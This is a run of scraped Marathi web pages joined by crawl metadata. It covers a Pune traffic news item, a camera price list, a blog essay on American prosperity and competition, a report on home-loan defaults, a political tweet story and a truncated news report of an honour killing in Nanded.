हिंजवडीमधील वाहनचालकांचा दैनंदिन २५ मिनिटे वेळ वाचल्याचे निरीक्षण आयटीयन्सनी नोंदविले आहे. सध्या येथील चक्राकार एकेरी वाहतुकीला सकारात्मक प्रतिसाद मिळत असून, स्थानिकांनी आणि आयटीयन्सनी दिलेल्या सूचनांनुसार योग्य ते बदल करण्यात येत आहेत. गेल्या दहा वर्षांत अशा प्रकारे उपाययोजना करण्यात आल्या नसल्याचेही आयटीयन्सनी बैठकीत वरिष्ठ पोलिस अधिकाऱ्यांना सांगितले.\nराँग साइडने जाणाऱ्यांवर १९ जणांवर गुन्हे दाखल\nतळेगाव दाभाडे - ३\nचिंचवड, निगडी, भोसरी, एमआयडीसी भोसरी या पोलिस ठाण्यांमध्ये एकूण ४\nमिळवा पुणे बातम्या(pune news News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\npune news News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nपुण्यात २ अल्पवयीन मुलींवर बलात्कार, एकीचा मृत्यू\nGanpati Immersion: 'डीजे नाही तर विसर्जन नाही'\nDJ Ban: पुण्यात डीजे बंदीला फासला हरताळ\nविमानतळावर ‘फेस रेकग्निशन’ प्रणाली\nसमलिंगी संबंधांतून एकावर वार\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n1‘राँग साइड’ने गेल्यास सहा महिने कैद...\n2‘हिंदुत्व हे हिंदू धर्मालाच नष्ट करू पाहतेय’...\n4मुजमुदार वाड्यातील गणेशोत्सवाला सुरुवात...\n5प्लास्टिक मनीद्वारे २६ कोटींची फसवणूक...\n6स्कूल बसवर दगडफेक केल्यामुळे खळबळ...\n7दाभोलकर हत्येच्या तपासात प्रगती नाही...\n8‘जायका’चा निधी राज्याने अडवला...\n9पहाटे थंडीअन् दिवसा ऊन...\n10‘त्या’ स्मार्ट पदपथाचा काही भाग काढणार...", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00197.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://www.pricedekho.com/mr/cameras/bronze+cameras-price-list.html", "date_download": "2018-09-25T17:31:10Z", "digest": "sha1:CKKN6A7KRCT3URDAEI667ZC6MYK6Y2FG", "length": 14188, "nlines": 325, "source_domain": "www.pricedekho.com", "title": "ब्रॉंझ कॅमेरास किंमत India मध्ये 25 Sep 2018 वरसूची | PriceDekho.com", "raw_content": "कूपन, दर cashback ऑफर\nलॅपटॉप, पीसी च्या, गेमिंग आणि अॅक्सेसरीज\nकॅमेरा, लेन्स आणि अॅक्सेसरीज\nटीव्ही आणि मनोरंजन साधने\nघर & स्वयंपाकघर उपकरणे\nगृह सजावट, स्वयंपाकघर आणि फर्निचर\nलहान मुले आणि बेबी उत्पादने\nखेळ, फिटनेस आणि आरोग्य\nपुस्तके, स्टेशनरी, भेटी आणि मीडिया\nभारतातील टॉप 10 मोबाईल\nमागचा कॅमेरा [13 MP]\nमोबाईल प्रकरणे आणि कव्हर\nबिंदू आणि अंकुर कॅमेरे\nकंडिशनर्स,वॉशिंग मशिन्स आणि ड्रायरसुद्धा\nव्हॅक्यूम & विंडोमध्ये क्लीनर\nज्युसर मिक्सर आणि धार लावणारा\nओ डी टॉयलेट (EDT)\nपायांकरीता असलेले कातड्याचे बाह्य आवरण पॅड\nमऊ तळव्यांचे आवाज न होणारे बूट\nचप्पल आणि फ्लिप फ्लॉप्स\nIndia 2018 ब्रॉंझ कॅमेरास\nसर्वाधिक ते सर्वात कमी\nसर्वात कमी ते सर्वोच्च\nब्रॉंझ कॅमेरास दर India मध्ये 25 September 2018 म्हणून. किंमत यादी ऑनलाइन शॉपिंग 5 एकूण ब्रॉंझ कॅमेरास समावेश आहे. उत्पादन तपशील, की वैशिष्ट्ये, चित्रे, रेटिंग आणि अधिक सोबत India मध्ये सर्वात कमी भाव शोधा. या वर्गात सर्वाधिक लोकप्रिय उत्पादन निकॉन कूलपिक्स स्४१५० पॉईंट & शूट कॅमेरा ब्रॉंझ आहे. सर्वात कमी दर एक सोपा किंमत तुलना Flipkart, Indiatimes, Kaunsa, Naaptol, Amazon सारख्या सर्व प्रमुख ऑनलाइन स्टोअर्स पासून प्राप्त आहेत.\nकिंमत श्रेणी ब्रॉंझ कॅमेरास\nकिंमत ब्रॉंझ कॅमेरास आपण सर्व बाजार मध्ये देण्यात येणार उत्पादने चर्चा करताना असतात. सर्वात महाग उत्पादन निकॉन द५२०० विथ 18 ५५म्म लेन्स ब्रॉंझ Rs. 39,950 किंमत आहे. या विरुद्ध, सर्वात कमी दरातील उत्पादन Rs.5,544 येथे आपल्याला निकॉन कूलपिक्स ल८१० पॉईंट & शूट डिजिटल कॅमेरा ब्रॉंझ उपलब्ध आहे. दर या फरक पर्यायांपैकी प्रीमियम उत्पादने ऑनलाइन खरेदीदार एक परवडणारे श्रेणी देते. ऑनलाइन दर Mumbai, New Delhi, Bangalore, Chennai, Pune, Kolkata, Hyderabad, Jaipur, Chandigarh, Ahmedabad, NCR ऑनलाइन खरेदीसाठी इत्यादी सर्व प्रमुख शहरांमध्ये वैध आहेत\nलोकप्रिय किंमत याद्या पहा:.. सोनी ब्रॉंझ Cameras Price List, निकॉन ब्रॉंझ Cameras Price List, कॅनन ब्रॉंझ Cameras Price List, फुजिफिल्म ब्रॉंझ Cameras Price List, सॅमसंग ब्रॉंझ Cameras Price List\nदर्शवत आहे 5 उत्पादने\nनिकॉन कूलपिक्स स्४१५० पॉईंट & शूट कॅमेरा ब्रॉंझ\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 3 to 4.9 in.\n- ऑप्टिकल सेन्सर रेसोलुशन 14 Megapixels\nनिकॉन द५२०० विथ 18 ५५म्म लेन्स ब्रॉंझ\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 3 inch inch\n- ऑप्टिकल सेन्सर रेसोलुशन 24.1 Megapixels MP\nनिकॉन कूलपिक्स ल८१० पॉईंट & शूट डिजिटल कॅमेरा ब्रॉंझ\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 3 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 16.1 MP\nनिकॉन कूलपिक्स ल१२० ब्रॉंझ\nनिकॉन कूलपिक्स स्४००० ब्रॉंझ\n* 80% संधी किंमत पुढील 3 आठवडे 10% पडू शकतो की नाही\nमिळवा झटपट किमतीत घट ईमेल / एसएमएस\nQuick links आमच्या विषयी आमच्याशी संपर्क साधा T&C गोपनीयता धोरण FAQ's\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00197.warc.wet.gz", "language": "mr", "language_score": 0.8, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/07/blog-post_28.html", "date_download": "2018-09-25T17:48:38Z", "digest": "sha1:SWPIHTSX5GTOMQVEYC5HHQ3P5ED6NAXU", "length": 10829, "nlines": 58, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: अमेरिकेतील राहणीमान", "raw_content": "\nइथे न्युअर्कच्या विमानतळावर हे नेहेमीचेच दृष्य.. पन्नास एक विमाने आज्ञाधारकपणे रांगेत वाट पहात उभी. दूरवरचा कंट्रोल टॉवर सांगेल ते निमूटपणे ऐकुन आपला उडण्याचा नंबर कधी येतोय याची वाट पहात थांबलेली. हे दृष्य पूर्वी पहाताना मला खूप मजा वाटली असती. परंतु दोन तास रांगेत उभे राहुन पुढच्या सहा तासांचा प्रवास अगदी नकोसा वाटत होता. पण \"नाईलाजको क्या ईलाज\" म्हणत मी विमाने पहात होतो. उडण्याची वेळ झाल्यावर एक एक विमान इंजिनांचा गडगडाट करून अर्ध्या मिनिटात आपल्या अजस्र पंखांचा पसारा घेउन आकाशात झेप घेत होते.\nएकंदरीतच विमान हे प्रकरणच कोणाच्याही कल्पनाशक्तीला भुरळ घालेल असेच लहानपणी पुण्यात सोमवारात रहाताना फक्त विमाने पाहण्यासाठी सायकलवरुन लोहगावच्या विमानतळावर आम्ही गेलेलो. त्यानंतर फर्ग्युसनमध्ये एनडीए ची स्वप्ने पाहिली आणि एसएसबीच्या इंटरव्हुला जाऊन त्यांचा चक्काचूर झालेला ही पाहिला. बरे झाले म्हणा ... माझा नेम तसा काही चांगला नाही. गोट्या कॅरम कधीच जमले नाही. क्रिकेट चा थ्रो तर ३०-४० अंश इकडे तिकडे होणार. उगाच सैन्यात जाऊन घोटाळा झाला असता लहानपणी पुण्यात सोमवारात रहाताना फक्त विमाने पाहण्यासाठी सायकलवरुन लोहगावच्या विमानतळावर आम्ही गेलेलो. त्यानंतर फर्ग्युसनमध्ये एनडीए ची स्वप्ने पाहिली आणि एसएसबीच्या इंटरव्हुला जाऊन त्यांचा चक्काचूर झालेला ही पाहिला. बरे झाले म्हणा ... माझा नेम तसा काही चांगला नाही. गोट्या कॅरम कधीच जमले नाही. क्रिकेट चा थ्रो तर ३०-४० अंश इकडे तिकडे होणार. उगाच सैन्यात जाऊन घोटाळा झाला असता जे होते चांगल्यासाठीच होते. पुन्हा डेहराडुनला जाऊनही धडकलो. परंतु एव्हाना माझा चेहेरा चांगलाच परिचयाचा झाला होता त्यामुळे मला पुण्याला परत पिटाळले. त्यानंतर आय ए एस च्या प्राथमिक परिक्षेतही उत्तिर्ण न होऊ शकल्यावर गुपचुप कंप्युटर मध्ये करियर करून आमची स्वारी अमेरिकेला आली. तात्पर्य काय तर ब्रेन ड्रेन वगैरी अगदी खरे नाही. अमेरिकेत अस्मादिकांसारखेही लोक आहेत जे काहीच जमले नाही म्हणुन इकडे आले\nअसो... पण आता इथे आलोच आहे तर माझ्या मनात कायम असेच विचार चालू असतात की अमेरिकेत हे असेच का आणि तसेच का\nआज ती विमानांची रांग पाहून असेच विचार घुमु लागले मनात. जगात दोन चार अपवाद वगळले तर ५० विमाने रांगेत उभी आहेत उड्ण्यासाठी हे दृष्य दिसणे कठीण आहे. अमेरिकेत विमानप्रवास कारप्रवासापेक्षा स्वस्त आहे. हे खरोखरीच अद्भुत आहे की जिच्या निर्मितीसाठी अतिशय उच्च दर्जाचे तंत्रज्ञान, सामग्री, कच्चा माल आणि व्यवस्थापन वापरले जाते ती गोष्ट गहु तांदुळासारखी सामान्यांच्या आवाक्यात आणुन ठेवली आहे. प्रवासी विमान कंपन्या इथे फार पैसे कमवु शकत नाहीत कारण स्पर्धा अतिशय तीव्र आहे. आणि विमानेच नाही तर मोटारी, इलेक्ट्रॉनिक्स, अन्नपदार्थ, सेवा व्यवसाय सर्वच ठिकाणी आधुनिक तंत्रज्ञानाचा अगदी मुबलक वापर होतो. (किंबहुना त्यामुळेच उत्पादकता वाढुन क्रयशक्ती आणि वस्तुंची मुबलकता निर्माण होते). आता तर विमानात क्रेडिट कार्ड वापरून चहा कॉफी विकत घेता येते .. जमीनीपासून ३०००० फुट उंचीवर कार वॉश करायला गेलो तर तिथे यंत्रे कार धुतात. चित्रपट पाह्यचा म्हटले तर त्याचीसुद्धा वेंडिंग मशिन्स आहेत. ६-८ लेन्स चे २०-२५ मैल रस्ते १० - १२ महिन्यात तयार करतात. आठवड्यांमध्ये घरे बांधली जातात.\nयादी बरीच मोठी आहे. सांगण्याचा अर्थ इतकाच की तंत्रज्ञान सर्वदूर आणि स्वस्त करून राहणीमान उंचावले आहे. तंत्रज्ञानाची उपलब्धता बर्याच देशांमध्ये आहे. मग अमेरिकेतच इतकी समृद्धी कशी मला असे वाटते की भांडवलाद आणि बहुजनमुख समाजधारणा यांमुळे तंत्रज्ञानाचा उपयोग सर्वदूर आणि स्वस्त झाला आहे. भांडवलवादामुळे इथे व्यवसाय करणे अतिशय सोपे आहे. आणि एकंदरीतच वृत्तीच अशी की कुठलीही गोष्ट खूप मोठया प्रमाणावर सर्वांंकडे कशी पोहोचवता येइल असा स्पर्धेचा अट्टाहास असतो.\nपुन्हा एकदा मला नॅनो गाडीचे कौतुक असे करावेसे वाटते की त्यांनी कल्पकता वापरुन मोटारीचे स्वप्न सर्वसामान्यांच्या आवाक्यात आणले. अर्थात टाटा चे हे स्वप्न अगदीच निस्वार्थी नाही. आणि असूही नये. परंतु भारतात स्पर्धेचा अभाव असल्यामुळे किंवा आणि काही कारणांमुळे आपण किमान कष्टात कमाल पैसे कमावण्याचा प्रयत्न करतो. नॅनोचे स्वप्न इतर उद्योगधंदे नाही पाहु शकत कारण त्यामागे अफाट कष्ट आहेत. त्याउलट राजकारण्यांना लाच देऊन व्यापारातील मक्तेदारी टिकवुन ठेवली तर किती सोपे \nअसो ... तर भारतात जसजशी स्पर्धा वाढेल तसतसे सरासरी राहणीमान उंचावेल.\nतंत्रज्ञान त्यामानाने तांत्रिक बाब आहे. मनुष्याच्या कल्पकतेला जर आवश्यक ते प्रलोभन (इंसेन्टिव्ह) असेल तर तंत्रज्ञानाचा शोध लावणे अजिबात कढीण नाही. आवश्यकता आहे स्पर्धेतुन त्या तंत्रज्ञानाचे सर्वदूर उपयोजन होण्याची.\nमराठी माणसा - जागा हो \n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00199.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/548682", "date_download": "2018-09-25T17:17:02Z", "digest": "sha1:MDWASVMV2ANL5PBRYFG7K3CCYCIHPRU2", "length": 5140, "nlines": 40, "source_domain": "www.tarunbharat.com", "title": "2 लाख रुपयांपर्यंतच्या गृहकर्जाची थकबाकी सर्वाधिक - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » उद्योग » 2 लाख रुपयांपर्यंतच्या गृहकर्जाची थकबाकी सर्वाधिक\n2 लाख रुपयांपर्यंतच्या गृहकर्जाची थकबाकी सर्वाधिक\nगेल्या दोन वर्षात गृहकर्जाच्या उचलीमध्ये मोठी वाढ दिसून आली आहे. मात्र, ज्यांनी दोन लाख रुपयांपर्यंतचे गृहकर्ज घेतले आहे त्यांची कर्जफेडीची थकबाकी सर्वाधिक असल्याचे दिसून आले आहे. याउलट यापेक्षा अधिक कर्ज घेतलेल्यांनी त्याची फेड वेळेवर केली असल्याचे दिसून येते.\nकिफायतशीर घर योजनेंतर्गत दोन लाखांपर्यंतचे कर्ज देण्यात येते. त्याच्या थकबाकीचे प्रमाण 11.9 टक्के इतके मोठे आहे. 2016-17 या वर्षात ही थकबाकी वाढली आहे. त्या अगोदरच्या वषी ही थकबाकी 6.1 टक्के होती. त्यानंतर ती 8.6 टक्क्मयांवर पोहोचली आणि वर्षअखेरीस तिने 11 टक्क्मयांचीही मर्यादा ओलांडली.\nतथापि, समाधानाची बाब अशी की, एकंदर गृहकर्ज थकबाकीचे प्रमाण 1.5 टक्के असल्याचे दिसून आले आहे. किफायतशीर घर ही सरकारी योजना असून त्यासाठी कर्ज घेणाऱयाला व्याजात काही प्रमाणात सवलतही देण्यात येते. असे असूनही थकबाकी वाढली हे व्यवस्थापकीय अपयशाचे लक्षण मानले जात आहे. ही थकबाकी वसूल करण्यासाठी सार्वजनिक क्षेत्रातील बँका विशेष मोहीम हाती घेण्याची शक्मयता आहे.\nओएनजीसी करणार 21,500 कोटीची गुंतवणूक\nबीएसएनएलची स्वदेशी कंपनी विहानशी हातामिळवणी\nऑडी 9 लाखापर्यंत महागणार\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00199.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/national/akhilesh-yadav-takes-jibe-on-nitish-kumar-266017.html", "date_download": "2018-09-25T16:51:42Z", "digest": "sha1:LQPCDFDB2NNCCTSSTGR2OZURETRY6VDY", "length": 14746, "nlines": 141, "source_domain": "lokmat.news18.com", "title": "\"ना ना करते, प्यार तुम्हीं से कर बैठे\", अखिलेश यादवांचा नितीशकुमारांना टोला", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n\"ना ना करते, प्यार तुम्हीं से कर बैठे\", अखिलेश यादवांचा नितीशकुमारांना टोला\n\"ना ना करते, प्यार तुम्हीं से कर बैठे, करना था इंकार मगर इक़रार तुम्हीं से कर बैठे\" या गाण्याचे बोल ट्विट केलेत आणि खाली 'बिहार टुडे' अशी सूचक टीप लिहिली आहे.\n27 जुलै : बिहारमध्ये झालेल्या सत्तांतराचे पडसाद आता देशभर उमटू लागले आहेत. काँग्रेसचे नेते शशी थरूर यांच्यापासून ते भाजपचे नेते मुख्तार अब्बास नख्वी यांच्यापर्यंत अनेकांनी प्रतिक्रिया दिल्या आहेत पण सगळ्यात जास्त गाजते आहे ती समाजवादी पक्षाचे नेते अखिलेश कुमार यांची प्रतिक्रिया.\nअखिलेश कुमार यांनी नितीशकुमार यांच्या या राजकीय खेळीचं चांगलंच तोंडसुख घेतलं. अखिलेश यांनी एक टि्वट केलंय. या ट्विटमध्ये 1965 साली रिलीज झालेल्या 'जब जब फूल खिले' या सिनेमातल्या \"ना ना करते, प्यार तुम्हीं से कर बैठे, करना था इंकार मगर इक़रार तुम्हीं से कर बैठे\" या गाण्याचे बोल ट्विट केलेत आणि खाली 'बिहार टुडे' अशी सूचक टीप लिहिली आहे.\nना ना करते, प्यार तुम्हीं से कर बैठे\nकरना था इंकार मगर इक़रार तुम्हीं से कर बैठे\nजे नितीश कुमार भाजपला इतके दिवस 'इन्कार' (नकार) देत होते त्याच भाजपशी आता इकरार (प्रेम) करून बसले आहे असं अखिलेश कुमारला सुचवायचं आहे.\nतर दुसरीकडे दिग्विजय सिंह यांनीही बशीर भद्र यांचा एक शेर ट्विट करून नितीश कुमारांवर टीका केली आहे.या शेरमध्ये बशीर भद्र म्हणतात, 'उसीको हक है जिने का इस जमाने मैं जो इधर का दिखता रहे पर उधर का हो जाए'.\nकिसी ने बशीर बद्र का शेर मौक़े पर याद दिलाया है -\n\"उसी को हक़ है जीने का इस ज़माने में,\nजो इधर का दिखता रहे और उधर का हो जाए\nतर पुढच्या एका ट्विटमध्ये दिग्विजय सिंहांनी दोन सरड्यांचा आलिंगनाचा फोटो पोस्ट करून त्याला बिहार गठबंधन म्हटलंय.\nअशा अनेक पोस्ट सध्या सोशल मीडियावर व्हायरल होतं आहेत.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00199.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/news/state/honour-killing-in-nanded-265861.html", "date_download": "2018-09-25T16:47:24Z", "digest": "sha1:CMEX2AJRM2VF4GH3JP6HQMEPIWEW5ZXN", "length": 13944, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "नांदेडमधल्या भोकरमध्ये ऑनर किलिंग; भावानेच केले बहीण आणि तिच्या प्रियकरावर वार", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nनांदेडमधल्या भोकरमध्ये ऑनर किलिंग; भावानेच केले बहीण आणि तिच्या प्रियकरावर वार\nसर्वाधिक धक्कादायक बाब म्हणजे जेव्हा तिच्यावर धारधार शस्त्राने वार केला जात होता तेव्हा कोणीही तिच्या मदतीस धावून आले नाही.\nनांदेड,25 जुलै: नांदेडमधल्या भोकरमध्ये ऑनर किलिंगची घटना घडली आहे. भावानेच बहीण आणि तिच्या प्रियकरावर धारधार शस्त्राने वार केले आहेत.सर्वाधिक धक्कादायक बाब म्हणजे जेव्हा तिच्यावर धारधार शस्त्राने वार केला जात होता तेव्हा कोणीही तिच्या मदतीस धावून आले नाही.\nपूजा वर्षेवार असं या मयत तरुणीचं नाव आहे. काही महिन्यांपूर्वी पूजाचा भोकरमधील एका तरुणाशी विवाह लावून देण्यात आला होता. पण पूजाचे गोविंद 